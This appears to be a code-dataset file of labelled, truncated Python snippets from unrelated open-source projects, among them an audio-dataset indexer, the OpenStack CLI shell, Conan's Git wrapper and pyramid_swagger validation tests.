md5(os.path.join(irmas_data_path, inst[1])) irmas_index[inst[0]] = { 'audio': (inst[1], audio_checksum), 'annotation': (inst[1], audio_checksum), } index = 1 for inst in irmas_test_dict.values(): audio_checksum = md5(os.path.join(irmas_data_path, inst[0])) annotation_checksum = md5(os.path.join(irmas_data_path, inst[1])) irmas_index[index] = { 'audio': (inst[0], audio_checksum), 'annotation': (inst[1], annotation_checksum), } index += 1 with open(IRMAS_INDEX_PATH, 'w') as fhandle: json.dump(irmas_index, fhandle, indent=2) def make_irmas_test_index(irmas_data_path): count = 1 irmas_dict = dict() for root, dirs, files in os.walk(irmas_data_path): for directory in dirs: if 'Test' in directory: for root_, dirs_, files_ in os.walk( os.path.join(irmas_data_path, directory) ): for directory_ in dirs_: for root__, dirs__, files__ in os.walk( os.path.join(irmas_data_path, directory, directory_) ): for file in files__: if file.endswith('.wav'): file_name = os.path.join( directory, directory_, file ) track_name = str(file_name.split('.wa')[0]) + '.txt' irmas_dict[count] = [file_name, track_name] count += 1 irmas_index = {} index = 1 for inst in irmas_dict.values(): audio_checksum = md5(os.path.join(irmas_data_path, inst[0])) annotation_checksum = md5(os.path.join(irmas_data_path, inst[1])) irmas_index[index] = { 'audio': (inst[0], audio_checksum), 'annotation': (inst[1], annotation_checksum), } index += 1 with open(IRMAS_TEST_INDEX_PATH, 'w') as fhandle: json.dump(irmas_index, fhandle, indent=2) def main(args): make_irmas_index(args.irmas_data_path) # make_irmas_test_index(args.irmas_data_path) if __name__ == '__main__': PARSER = argparse.ArgumentParser(description='Make IRMAS index file.') PARSER.add_argument('irmas_data_path', type=str, help='Path to IRMAS data folder.') main(PARSER.parse_args()) ",1 ", ""foobar.start"", {}, {}, {}, {}, name=""foobar"") assert engine.name == ""foobar"" def test_engine_title_set(): engine = salt.engines.Engine({}, ""foobar.start"", {}, {}, {}, {}, name=""foobar"") with patch(""salt.utils.process.appendproctitle"", MagicMock()) as mm: with pytest.raises(KeyError): # The method does not exist so a KeyError will be raised. engine.run() mm.assert_called_with(""foobar"") ",1 "bute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along # with this program; if not, write to the Free Software Foundation, Inc., # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. ############################################################################## """"""A paint engine to produce EMF exports. Requires: PyQt-x11-gpl-4.6-snapshot-20090906.tar.gz sip-4.9-snapshot-20090906.tar.gz pyemf """""" import struct import pyemf from .. import qtall as qt inch_mm = 25.4 scale = 100 def isStockObject(obj): """"""Is this a stock windows object."""""" return (obj & 0x80000000) != 0 class _EXTCREATEPEN(pyemf._EMR._EXTCREATEPEN): """"""Extended pen creation record with custom line style."""""" typedef = [ ('i','handle',0), ('i','offBmi',0), ('i','cbBmi',0), ('i','offBits',0), ('i','cbBits',0), ('i','style'), ('i','penwidth'), ('i','brushstyle'), ('i','color'), ('i','brushhatch',0), ('i','numstyleentries') ] def __init__(self, style=pyemf.PS_SOLID, width=1, color=0, styleentries=[]): """"""Create pen. styleentries is a list of dash and space lengths."""""" pyemf._EMR._EXTCREATEPEN.__init__(self) self.style = style self.penwidth = width self.color = pyemf._normalizeColor(color) self.brushstyle = 0x0 # solid if style & pyemf.PS_STYLE_MASK != pyemf.PS_USERSTYLE: styleentries = [] self.numstyleentries = len(styleentries) if styleentries: self.unhandleddata = struct.pack( ""i""*self.numstyleentries, *styleentries) def hasHandle(self): return True class EMFPaintEngine(qt.QPaintEngine): """"""Custom EMF paint engine."""""" def __init__(self, width_in, height_in, dpi=75): qt.QPaintEngine.__init__( self, qt.QPaintEngine.Antialiasing | qt.QPaintEngine.PainterPaths | qt.QPaintEngine.PrimitiveTransform | qt.QPaintEngine.PaintOutsidePaintEvent | qt.QPaintEngine.PatternBrush ) self.width = width_in self.height = height_in self.dpi = dpi def begin(self, paintdevice): self.emf = pyemf.EMF(self.width, self.height, int(self.dpi*scale)) self.pen = self.emf.GetStockObject(pyemf.BLACK_PEN) self.pencolor = (0, 0, 0) self.brush = self.emf.GetStockObject(pyemf.NULL_BRUSH) self.paintdevice = paintdevice return True def drawLines(self, lines): """"""Draw lines to emf output."""""" for line in lines: self.emf.Polyline( [ (int(line.x1()*scale), int(line.y1()*scale)), (int(line.x2()*scale), int(line.y2()*scale)) ] ) def drawPolygon(self, points, mode): """"""Draw polygon on output."""""" # print ""Polygon"" pts = [(int(p.x()*scale), int(p.y()*scale)) for p in points] if mode == qt.QPaintEngine.PolylineMode: self.emf.Polyline(pts) else: self.emf.SetPolyFillMode({ qt.QPaintEngine.WindingMode: pyemf.WINDING, qt.QPaintEngine.OddEvenMode: pyemf.ALTERNATE, qt.QPaintEngine.ConvexMode: pyemf.WINDING }) self.emf.Polygon(pts) def drawEllipse(self, rect): """"""Draw an ellipse."""""" # print ""ellipse"" args = ( int(rect.left()*scale), int(rect.top()*scale), int(rect.right()*scale), int(rect.bottom()*scale), int(rect.left()*scale), int(rect.top()*scale), int(rect.left()*scale), int(rect.top()*scale), ) self.emf.Pie(*args) self.emf.Arc(*args) def drawPoints(self, points): """"""Draw points."""""" # print ""points"" for pt in points: x, y = (pt.x()-0.5)*scale, (pt.y()-0.5)*scale self.emf.Pie( int(x), int(y), int((pt.x()+0.5)*scale), int((pt.y()+0.5)*scale), int(x), int(y), int(x), int(y) ) def drawPixmap(self, r, pixmap, sr): """"""Draw pixmap to display."""""" # convert pixmap to BMP format bytearr = qt.QByteArray() buf = qt.QBuffer(bytearr) buf.open(qt.QIODevice.WriteOnly) pixmap.save(buf, ""BMP"") # chop off bmp header to get DIB bmp = bytes(buf.data()) dib = bmp[0xe:] hdrsize, = struct.unpack('= 5.6 elif m == getattr(qt.QPaintDevice, 'PdmDevicePixelRatioScaled', -1): return 1 else: # fall back return qt.QPaintDevice.metric(self, m) ",1 "Utils,Task,TaskGen,Logs from waflib.TaskGen import feature,before_method,after_method,extension from waflib.Configure import conf INC_REGEX=""""""(?:^|['"">]\s*;)\s*(?:|#\s*)INCLUDE\s+(?:\w+_)?[<""'](.+?)(?=[""'>])"""""" USE_REGEX=""""""(?:^|;)\s*USE(?:\s+|(?:(?:\s*,\s*(?:NON_)?INTRINSIC)?\s*::))\s*(\w+)"""""" MOD_REGEX=""""""(?:^|;)\s*MODULE(?!\s*PROCEDURE)(?:\s+|(?:(?:\s*,\s*(?:NON_)?INTRINSIC)?\s*::))\s*(\w+)"""""" re_inc=re.compile(INC_REGEX,re.I) re_use=re.compile(USE_REGEX,re.I) re_mod=re.compile(MOD_REGEX,re.I) class fortran_parser(object): def __init__(self,incpaths): self.seen=[] self.nodes=[] self.names=[] self.incpaths=incpaths def find_deps(self,node): txt=node.read() incs=[] uses=[] mods=[] for line in txt.splitlines(): m=re_inc.search(line) if m: incs.append(m.group(1)) m=re_use.search(line) if m: uses.append(m.group(1)) m=re_mod.search(line) if m: mods.append(m.group(1)) return(incs,uses,mods) def start(self,node): self.waiting=[node] while self.waiting: nd=self.waiting.pop(0) self.iter(nd) def iter(self,node): path=node.abspath() incs,uses,mods=self.find_deps(node) for x in incs: if x in self.seen: continue self.seen.append(x) self.tryfind_header(x) for x in uses: name=""USE@%s""%x if not name in self.names: self.names.append(name) for x in mods: name=""MOD@%s""%x if not name in self.names: self.names.append(name) def tryfind_header(self,filename): found=None for n in self.incpaths: found=n.find_resource(filename) if found: self.nodes.append(found) self.waiting.append(found) break if not found: if not filename in self.names: self.names.append(filename) ",1 "t in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. # """"""Command-line interface to the OpenStack APIs"""""" import getpass import logging import sys import traceback from cliff import app from cliff import command from cliff import complete from cliff import help import openstackclient from openstackclient.common import clientmanager from openstackclient.common import commandmanager from openstackclient.common import exceptions as exc from openstackclient.common import timing from openstackclient.common import utils DEFAULT_DOMAIN = 'default' def prompt_for_password(prompt=None): """"""Prompt user for a password Propmpt for a password if stdin is a tty. """""" if not prompt: prompt = 'Password: ' pw = None # If stdin is a tty, try prompting for the password if hasattr(sys.stdin, 'isatty') and sys.stdin.isatty(): # Check for Ctl-D try: pw = getpass.getpass(prompt) except EOFError: pass # No password because we did't have a tty or nothing was entered if not pw: raise exc.CommandError( ""No password entered, or found via --os-password or OS_PASSWORD"", ) return pw class OpenStackShell(app.App): CONSOLE_MESSAGE_FORMAT = '%(levelname)s: %(name)s %(message)s' log = logging.getLogger(__name__) timing_data = [] def __init__(self): # Patch command.Command to add a default auth_required = True command.Command.auth_required = True command.Command.best_effort = False # But not help help.HelpCommand.auth_required = False complete.CompleteCommand.best_effort = True super(OpenStackShell, self).__init__( description=__doc__.strip(), version=openstackclient.__version__, command_manager=commandmanager.CommandManager('openstack.cli')) self.api_version = {} # Until we have command line arguments parsed, dump any stack traces self.dump_stack_trace = True # This is instantiated in initialize_app() only when using # password flow auth self.auth_client = None # Assume TLS host certificate verification is enabled self.verify = True self.client_manager = None # NOTE(dtroyer): This hack changes the help action that Cliff # automatically adds to the parser so we can defer # its execution until after the api-versioned commands # have been loaded. There doesn't seem to be a # way to edit/remove anything from an existing parser. # Replace the cliff-added help.HelpAction to defer its execution self.DeferredHelpAction = None for a in self.parser._actions: if type(a) == help.HelpAction: # Found it, save and replace it self.DeferredHelpAction = a # These steps are argparse-implementation-dependent self.parser._actions.remove(a) if self.parser._option_string_actions['-h']: del self.parser._option_string_actions['-h'] if self.parser._option_string_actions['--help']: del self.parser._option_string_actions['--help'] # Make a new help option to just set a flag self.parser.add_argument( '-h', '--help', action='store_true', dest='deferred_help', default=False, help=""Show this help message and exit"", ) def configure_logging(self): """"""Configure logging for the app Cliff sets some defaults we don't want so re-work it a bit """""" if self.options.debug: # --debug forces verbose_level 3 # Set this here so cliff.app.configure_logging() can work self.options.verbose_level = 3 super(OpenStackShell, self).configure_logging() root_logger = logging.getLogger('') # Set logging to the requested level if self.options.verbose_level == 0: # --quiet root_logger.setLevel(logging.ERROR) elif self.options.verbose_level == 1: # This is the default case, no --debug, --verbose or --quiet root_logger.setLevel(logging.WARNING) elif self.options.verbose_level == 2: # One --verbose root_logger.setLevel(logging.INFO) elif self.options.verbose_level >= 3: # Two or more --verbose root_logger.setLevel(logging.DEBUG) # Requests logs some stuff at INFO that we don't want # unless we have DEBUG requests_log = logging.getLogger(""requests"") # Other modules we don't want DEBUG output for cliff_log = logging.getLogger('cliff') stevedore_log = logging.getLogger('stevedore') iso8601_log = logging.getLogger(""iso8601"") if self.options.debug: # --debug forces traceback self.dump_stack_trace = True requests_log.setLevel(logging.DEBUG) cliff_log.setLevel(logging.DEBUG) else: self.dump_stack_trace = False requests_log.setLevel(logging.ERROR) cliff_log.setLevel(logging.ERROR) stevedore_log.setLevel(logging.ERROR) iso8601_log.setLevel(logging.ERROR) def run(self, argv): try: return super(OpenStackShell, self).run(argv) except Exception as e: if not logging.getLogger('').handlers: logging.basicConfig() if self.dump_stack_trace: self.log.error(traceback.format_exc(e)) else: self.log.error('Exception raised: ' + str(e)) return 1 def build_option_parser(self, description, version): parser = super(OpenStackShell, self).build_option_parser( description, version) # service token auth argument parser.add_argument( '--os-url', metavar='', default=utils.env('OS_URL'), help='Defaults to env[OS_URL]') # Global arguments parser.add_argument( '--os-region-name', metavar='', default=utils.env('OS_REGION_NAME'), help='Authentication region name (Env: OS_REGION_NAME)') parser.add_argument( '--os-cacert', metavar='', default=utils.env('OS_CACERT'), help='CA certificate bundle file (Env: OS_CACERT)') verify_group = parser.add_mutually_exclusive_group() verify_group.add_argument( '--verify', action='store_true', help='Verify server certificate (default)', ) verify_group.add_argument( '--insecure', action='store_true', help='Disable server certificate verification', ) parser.add_argument( '--os-default-domain', metavar='', default=utils.env( 'OS_DEFAULT_DOMAIN', default=DEFAULT_DOMAIN), help='Default domain ID, default=' + DEFAULT_DOMAIN + ' (Env: OS_DEFAULT_DOMAIN)') parser.add_argument( '--timing', default=False, action='store_true', help=""Print API call timing info"", ) return clientmanager.build_plugin_option_parser(parser) def initialize_app(self, argv): """"""Global app init bits: * set up API versions * validate authentication info * authenticate against Identity if requested """""" super(OpenStackShell, self).initialize_app(argv) # Save default domain self.default_domain = self.options.os_default_domain # Loop through extensions to get API versions for mod in clientmanager.PLUGIN_MODULES: version_opt = getattr(self.options, mod.API_VERSION_OPTION, None) if version_opt: api = mod.API_NAME self.api_version[api] = version_opt version = '.v' + version_opt.replace('.', '_') cmd_group = 'openstack.' + api.replace('-', '_') + version self.command_manager.add_command_group(cmd_group) self.log.debug( '%(name)s API version %(version)s, cmd group %(group)s', {'name': api, 'version': version_opt, 'group': cmd_group} ) # Commands that span multiple APIs self.command_manager.add_command_group( 'openstack.common') # This is the naive extension implementation referred to in # blueprint 'client-extensions' # Extension modules can register their commands in an # 'openstack.extension' entry point group: # entry_points={ # 'openstack.extension': [ # 'list_repo=qaz.github.repo:ListRepo', # 'show_repo=qaz.github.repo:ShowRepo', # ], # } self.command_manager.add_command_group( 'openstack.extension') # call InitializeXxx() here # set up additional clients to stuff in to client_manager?? # Handle deferred help and exit if self.options.deferred_help: self.DeferredHelpAction(self.parser, self.parser, None, None) # Set up common client session if self.options.os_cacert: self.verify = self.options.os_cacert else: self.verify = not self.options.insecure self.client_manager = clientmanager.ClientManager( auth_options=self.options, verify=self.verify, api_version=self.api_version, pw_func=prompt_for_password, ) def prepare_to_run_command(self, cmd): """"""Set up auth and API versions"""""" self.log.info( 'command: %s.%s', cmd.__class__.__module__, cmd.__class__.__name__, ) if cmd.auth_required and cmd.best_effort: try: # Trigger the Identity client to initialize self.client_manager.auth_ref except Exception: pass return def clean_up(self, cmd, result, err): self.log.debug('clean_up %s', cmd.__class__.__name__) if err: self.log.debug('got an error: %s', err) # Process collected timing data if self.options.timing: # Loop through extensions for mod in self.ext_modules: client = getattr(self.client_manager, mod.API_NAME) if hasattr(client, 'get_timings'): self.timing_data.extend(client.get_timings()) # Use the Timing pseudo-command to generate the output tcmd = timing.Timing(self, self.options) tparser = tcmd.get_parser('Timing') # If anything other than prettytable is specified, force csv format = 'table' # Check the formatter used in the actual command if hasattr(cmd, 'formatter') \ and cmd.formatter != cmd._formatter_plugins['table'].obj: format = 'csv' sys.stdout.write('\n') targs = tparser.parse_args(['-f', format]) tcmd.run(targs) def main(argv=sys.argv[1:]): return OpenStackShell().run(argv) if __name__ == ""__main__"": sys.exit(main(sys.argv[1:])) ",1 "update task '99' with a new title, only show id: $ arcyon task-update 99 -t 'title' --format-id 99 """""" # ============================================================================= # CONTENTS # ----------------------------------------------------------------------------- # aoncmd_taskupdate # # Public Functions: # getFromfilePrefixChars # setupParser # process # # ----------------------------------------------------------------------------- # (this contents block is generated, edits will be lost) # ============================================================================= from __future__ import absolute_import from __future__ import division from __future__ import print_function import sys import textwrap import phlcon_maniphest import phlcon_project import phlcon_user import phlsys_makeconduit def getFromfilePrefixChars(): return """" def setupParser(parser): # make a list of priority names in increasing order of importance priority_name_list = phlcon_maniphest.PRIORITIES.keys() priority_name_list.sort( key=lambda x: phlcon_maniphest.PRIORITIES[x]) priorities = parser.add_argument_group( 'optional priority arguments', 'use any of ' + textwrap.fill( str(priority_name_list))) output_group = parser.add_argument_group( 'Output format arguments', 'Mutually exclusive, defaults to ""--format-summary""') output = output_group.add_mutually_exclusive_group() opt = parser.add_argument_group( 'Optional task arguments', 'You can supply these later via the web interface if you wish') priorities.add_argument( '--priority', '-p', choices=priority_name_list, metavar=""PRIORITY"", default=None, type=str, help=""the priority or importance of the task"") parser.add_argument( 'id', metavar='INT', help='the id of the task', type=str) parser.add_argument( '--title', '-t', metavar='STRING', help='the short title of the task', default=None, type=str) opt.add_argument( '--description', '-d', metavar='STRING', help='the long description of the task', default=None, type=str) opt.add_argument( '--owner', '-o', metavar='USER', help='the username of the owner', type=str) opt.add_argument( '--ccs', '-c', nargs=""*"", metavar='USER', help='a list of usernames to cc on the task', type=str) opt.add_argument( '--projects', nargs=""*"", metavar='PROJECT', default=[], help='a list of project names to add the task to', type=str) opt.add_argument( '--comment', '-m', metavar='STRING', help='an optional comment to make on the task', default=None, type=str) output.add_argument( '--format-summary', action='store_true', help='will print a human-readable summary of the result.') output.add_argument( '--format-id', action='store_true', help='will print just the id of the new task, for scripting.') output.add_argument( '--format-url', action='store_true', help='will print just the url of the new task, for scripting.') phlsys_makeconduit.add_argparse_arguments(parser) def process(args): if args.title and not args.title.strip(): print('you must supply a non-empty title', file=sys.stderr) return 1 conduit = phlsys_makeconduit.make_conduit( args.uri, args.user, args.cert, args.act_as_user) # create_task expects an integer priority = None if args.priority is not None: priority = phlcon_maniphest.PRIORITIES[args.priority] # conduit expects PHIDs not plain usernames user_phids = phlcon_user.UserPhidCache(conduit) if args.owner: user_phids.add_hint(args.owner) if args.ccs: user_phids.add_hint_list(args.ccs) owner = user_phids.get_phid(args.owner) if args.owner else None ccs = [user_phids.get_phid(u) for u in args.ccs] if args.ccs else None # conduit expects PHIDs not plain project names projects = None if args.projects: project_to_phid = phlcon_project.make_project_to_phid_dict(conduit) projects = [project_to_phid[p] for p in args.projects] result = phlcon_maniphest.update_task( conduit, args.id, args.title, args.description, priority, owner, ccs, projects, args.comment) if args.format_id: print(result.id) elif args.format_url: print(result.uri) else: # args.format_summary: message = ( ""Updated task '{task_id}', you can view it at this URL:\n"" "" {url}"" ).format( task_id=result.id, url=result.uri) print(message) # ----------------------------------------------------------------------------- # Copyright (C) 2013-2014 Bloomberg Finance L.P. # # Licensed under the Apache License, Version 2.0 (the ""License""); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ------------------------------ END-OF-FILE ---------------------------------- ",1 "put_filename, output_filename): self.input_filename = input_filename self.output_filename = output_filename self.media_duration = self.get_media_duration() # INFO: All other media information could potentially be put here too def get_media_duration(self): """""" Spawns an avprobe process to get the media duration. Spawns an avprobe process and saves the output to a list, then uses regex to find the duration of the media and return it as an integer. """""" info_process = pexpect.spawn(""/usr/bin/avprobe "" + self.input_filename) subprocess_output = info_process.readlines() info_process.close # Non-greedy match on characters 'Duration: ' followed by # number in form 00:00:00:00 regex_group = re.compile("".*?Duration: .*?(\\d+):(\\d+):(\\d+).(\\d+)"", re.IGNORECASE | re.DOTALL) # Exits as soon as duration is found # PERF: Perform some tests to find the min number of lines # certain not to contain the duration, then operate on a slice # not containing those lines for line in subprocess_output: regex_match = regex_group.search(line) if regex_match: # Return the total duration in seconds return ((int(regex_match.group(1)) * 3600) + # Hours (int(regex_match.group(2)) * 60) + # Minutes int(regex_match.group(3)) + # Seconds # Round milliseconds to nearest second 1 if int(regex_match.group(3)) > 50 else 0) # Not found so it's possible the process terminated early or an update # broke the regex. Unlikely but we must return something just in case. return -1 ",1 "equipment import ExteriorFuelEquipment log = logging.getLogger(__name__) class TestExteriorFuelEquipment(unittest.TestCase): def setUp(self): self.fd, self.path = tempfile.mkstemp() def tearDown(self): os.remove(self.path) def test_create_exteriorfuelequipment(self): pyidf.validation_level = ValidationLevel.error obj = ExteriorFuelEquipment() # alpha var_name = ""Name"" obj.name = var_name # alpha var_fuel_use_type = ""Electricity"" obj.fuel_use_type = var_fuel_use_type # object-list var_schedule_name = ""object-list|Schedule Name"" obj.schedule_name = var_schedule_name # real var_design_level = 0.0 obj.design_level = var_design_level # alpha var_enduse_subcategory = ""End-Use Subcategory"" obj.enduse_subcategory = var_enduse_subcategory idf = IDF() idf.add(obj) idf.save(self.path, check=False) with open(self.path, mode='r') as f: for line in f: log.debug(line.strip()) idf2 = IDF(self.path) self.assertEqual(idf2.exteriorfuelequipments[0].name, var_name) self.assertEqual(idf2.exteriorfuelequipments[0].fuel_use_type, var_fuel_use_type) self.assertEqual(idf2.exteriorfuelequipments[0].schedule_name, var_schedule_name) self.assertAlmostEqual(idf2.exteriorfuelequipments[0].design_level, var_design_level) self.assertEqual(idf2.exteriorfuelequipments[0].enduse_subcategory, var_enduse_subcategory)",1 " from conans.client.tools.env import no_op, environment_append from conans.client.tools.files import chdir from conans.errors import ConanException from conans.util.files import decode_text, to_file_bytes class Git(object): def __init__(self, folder=None, verify_ssl=True, username=None, password=None, force_english=True, runner=None): self.folder = folder or os.getcwd() if not os.path.exists(self.folder): os.makedirs(self.folder) self._verify_ssl = verify_ssl self._force_eng = force_english self._username = username self._password = password self._runner = runner def run(self, command): command = ""git %s"" % command with chdir(self.folder) if self.folder else no_op(): with environment_append({""LC_ALL"": ""en_US.UTF-8""}) if self._force_eng else no_op(): if not self._runner: return subprocess.check_output(command, shell=True).decode().strip() else: return self._runner(command) def get_repo_root(self): return self.run(""rev-parse --show-toplevel"") def get_url_with_credentials(self, url): if not self._username or not self._password: return url if urlparse(url).password: return url user_enc = quote_plus(self._username) pwd_enc = quote_plus(self._password) url = url.replace(""://"", ""://"" + user_enc + "":"" + pwd_enc + ""@"", 1) return url def _configure_ssl_verify(self): return self.run(""config http.sslVerify %s"" % (""true"" if self._verify_ssl else ""false"")) def clone(self, url, branch=None): url = self.get_url_with_credentials(url) if os.path.exists(url): url = url.replace(""\\"", ""/"") # Windows local directory if os.path.exists(self.folder) and os.listdir(self.folder): if not branch: raise ConanException(""The destination folder '%s' is not empty, "" ""specify a branch to checkout (not a tag or commit) "" ""or specify a 'subfolder' "" ""attribute in the 'scm'"" % self.folder) output = self.run(""init"") output += self._configure_ssl_verify() output += self.run('remote add origin ""%s""' % url) output += self.run(""fetch "") output += self.run(""checkout -t origin/%s"" % branch) else: branch_cmd = ""--branch %s"" % branch if branch else """" output = self.run('clone ""%s"" . %s' % (url, branch_cmd)) output += self._configure_ssl_verify() return output def checkout(self, element, submodule=None): self._check_git_repo() output = self.run('checkout ""%s""' % element) if submodule: if submodule == ""shallow"": output += self.run(""submodule sync"") output += self.run(""submodule update --init"") elif submodule == ""recursive"": output += self.run(""submodule sync --recursive"") output += self.run(""submodule update --init --recursive"") else: raise ConanException(""Invalid 'submodule' attribute value in the 'scm'. "" ""Unknown value '%s'. Allowed values: ['shallow', 'recursive']"" % submodule) # Element can be a tag, branch or commit return output def excluded_files(self): try: file_paths = [os.path.normpath(os.path.join(os.path.relpath(folder, self.folder), el)).replace(""\\"", ""/"") for folder, dirpaths, fs in os.walk(self.folder) for el in fs + dirpaths] p = subprocess.Popen(['git', 'check-ignore', '--stdin'], stdout=PIPE, stdin=PIPE, stderr=STDOUT, cwd=self.folder) paths = to_file_bytes(""\n"".join(file_paths)) grep_stdout = decode_text(p.communicate(input=paths)[0]) tmp = grep_stdout.splitlines() except CalledProcessError: tmp = [] return tmp def get_remote_url(self, remote_name=None): self._check_git_repo() remote_name = remote_name or ""origin"" try: remotes = self.run(""remote -v"") for remote in remotes.splitlines(): try: name, url = remote.split(None, 1) url, _ = url.rsplit(None, 1) if name == remote_name: return url except Exception: pass except subprocess.CalledProcessError: pass return None def get_commit(self): self._check_git_repo() try: commit = self.run(""rev-parse HEAD"") commit = commit.strip() return commit except Exception as e: raise ConanException(""Unable to get git commit from %s\n%s"" % (self.folder, str(e))) get_revision = get_commit def _check_git_repo(self): try: self.run(""status"") except Exception: raise ConanException(""Not a valid git repository"") def get_branch(self): self._check_git_repo() try: status = self.run(""status -bs --porcelain"") # ## feature/scm_branch...myorigin/feature/scm_branch branch = status.splitlines()[0].split(""..."")[0].strip(""#"").strip() return branch except Exception as e: raise ConanException(""Unable to get git branch from %s\n%s"" % (self.folder, str(e))) ",1 "ultidict import MultiDict import pyramid_swagger import pyramid_swagger.tween import pytest import simplejson from pyramid.config import Configurator from pyramid.interfaces import IRoutesMapper from pyramid.registry import Registry from pyramid.response import Response from pyramid.urldispatch import RoutesMapper from webtest import AppError from .request_test import test_app from pyramid_swagger.exceptions import ResponseValidationError from pyramid_swagger.ingest import compile_swagger_schema from pyramid_swagger.ingest import get_resource_listing from pyramid_swagger.tween import validation_tween_factory class CustomResponseValidationException(Exception): pass class EnhancedDummyRequest(pyramid.testing.DummyRequest): """""" pyramid.testing.DummyRequest doesn't support MultiDicts like the real pyramid.request.Request so this is the next best thing. """""" def __init__(self, **kw): super(EnhancedDummyRequest, self).__init__(**kw) self.GET = MultiDict(self.GET) # Make sure content_type attr exists is not passed in via **kw self.content_type = getattr(self, 'content_type', None) @contextmanager def validation_context(request, response=None): try: yield except Exception: raise CustomResponseValidationException validation_ctx_path = 'tests.acceptance.response_test.validation_context' def get_registry(settings): registry = Registry('testing') config = Configurator(registry=registry) if getattr(registry, 'settings', None) is None: config._set_settings(settings) registry.registerUtility(RoutesMapper(), IRoutesMapper) config.commit() return registry def get_swagger_schema(schema_dir='tests/sample_schemas/good_app/'): return compile_swagger_schema( schema_dir, get_resource_listing(schema_dir, False) ) def _validate_against_tween(request, response=None, **overrides): """""" Acceptance testing helper for testing the validation tween with Swagger 1.2 responses. :param request: pytest fixture :param response: standard fixture by default """""" def handler(request): return response or Response() settings = dict({ 'pyramid_swagger.swagger_versions': ['1.2'], 'pyramid_swagger.enable_swagger_spec_validation': False, 'pyramid_swagger.schema_directory': 'tests/sample_schemas/good_app/'}, **overrides ) settings['pyramid_swagger.schema12'] = get_swagger_schema() settings['pyramid_swagger.schema20'] = None registry = get_registry(settings) # Let's make request validation a no-op so we can focus our tests. with mock.patch.object(pyramid_swagger.tween, 'validate_request'): validation_tween_factory(handler, registry)(request) def test_response_validation_enabled_by_default(): request = EnhancedDummyRequest( method='GET', path='/sample/path_arg1/resource', params={'required_arg': 'test'}, matchdict={'path_arg': 'path_arg1'}, ) # Omit the logging_info key from the response. If response validation # occurs, we'll fail it. response = Response( body=simplejson.dumps({'raw_response': 'foo'}), headers={'Content-Type': 'application/json; charset=UTF-8'}, ) with pytest.raises(ResponseValidationError) as excinfo: _validate_against_tween(request, response=response) assert ""'logging_info' is a required property"" in str(excinfo.value) def test_500_when_response_is_missing_required_field(): request = EnhancedDummyRequest( method='GET', path='/sample/path_arg1/resource', params={'required_arg': 'test'}, matchdict={'path_arg': 'path_arg1'}, ) # Omit the logging_info key from the response. response = Response( body=simplejson.dumps({'raw_response': 'foo'}), headers={'Content-Type': 'application/json; charset=UTF-8'}, ) with pytest.raises(ResponseValidationError) as excinfo: _validate_against_tween(request, response=response) assert ""'logging_info' is a required property"" in str(excinfo.value) def test_200_when_response_is_void_with_none_response(): request = EnhancedDummyRequest( method='GET', path='/sample/nonstring/{int_arg}/{float_arg}/{boolean_arg}', params={'required_arg': 'test'}, matchdict={'int_arg': '1', 'float_arg': '2.0', 'boolean_arg': 'true'}, ) response = Response( body=simplejson.dumps(None), headers={'Content-Type': 'application/json; charset=UTF-8'}, ) _validate_against_tween(request, response=response) def test_200_when_response_is_void_with_empty_response(): request = EnhancedDummyRequest( method='GET', path='/sample/nonstring/{int_arg}/{float_arg}/{boolean_arg}', params={'required_arg': 'test'}, matchdict={'int_arg': '1', 'float_arg': '2.0', 'boolean_arg': 'true'}, ) response = Response(body='{}') _validate_against_tween(request, response=response) def test_500_when_response_arg_is_wrong_type(): request = EnhancedDummyRequest( method='GET', path='/sample/path_arg1/resource', params={'required_arg': 'test'}, matchdict={'path_arg': 'path_arg1'}, ) response = Response( body=simplejson.dumps({ 'raw_response': 1.0, 'logging_info': {'foo': 'bar'} }), headers={'Content-Type': 'application/json; charset=UTF-8'}, ) with pytest.raises(ResponseValidationError) as excinfo: _validate_against_tween(request, response=response) assert ""1.0 is not of type 'string'"" in str(excinfo.value) def test_500_for_bad_validated_array_response(): request = EnhancedDummyRequest( method='GET', path='/sample_array_response', ) response = Response( body=simplejson.dumps([{""enum_value"": ""bad_enum_value""}]), headers={'Content-Type': 'application/json; charset=UTF-8'}, ) with pytest.raises(ResponseValidationError) as excinfo: _validate_against_tween(request, response=response) assert ""is not one of ['good_enum_value']"" in str(excinfo.value) def test_200_for_good_validated_array_response(): request = EnhancedDummyRequest( method='GET', path='/sample_array_response', ) response = Response( body=simplejson.dumps([{""enum_value"": ""good_enum_value""}]), headers={'Content-Type': 'application/json; charset=UTF-8'}, ) _validate_against_tween(request, response=response) def test_200_for_normal_response_validation(): app = test_app( request=Mock(spec=FixtureRequest, param=['1.2']), **{'pyramid_swagger.enable_response_validation': True} ) response = app.post_json('/sample', {'foo': 'test', 'bar': 'test'}) assert response.status_code == 200 def test_200_skip_validation_for_excluded_path(): # FIXME(#64): This test is broken and doesn't check anything. app = test_app( request=Mock(spec=FixtureRequest, param=['1.2']), **{'pyramid_swagger.exclude_paths': [r'^/sample/?']} ) response = app.get( '/sample/path_arg1/resource', params={'required_arg': 'test'} ) assert response.status_code == 200 def test_app_error_if_path_not_in_spec_and_path_validation_disabled(): """"""If path missing and validation is disabled we want to let something else handle the error. TestApp throws an AppError, but Pyramid would throw a HTTPNotFound exception. """""" with pytest.raises(AppError): app = test_app( request=Mock(spec=FixtureRequest, param=['1.2']), **{'pyramid_swagger.enable_path_validation': False} ) assert app.get('/this/path/doesnt/exist') def test_response_validation_context(): request = EnhancedDummyRequest( method='GET', path='/sample/path_arg1/resource', params={'required_arg': 'test'}, matchdict={'path_arg': 'path_arg1'}, ) # Omit the logging_info key from the response. response = Response( body=simplejson.dumps({'raw_response': 'foo'}), 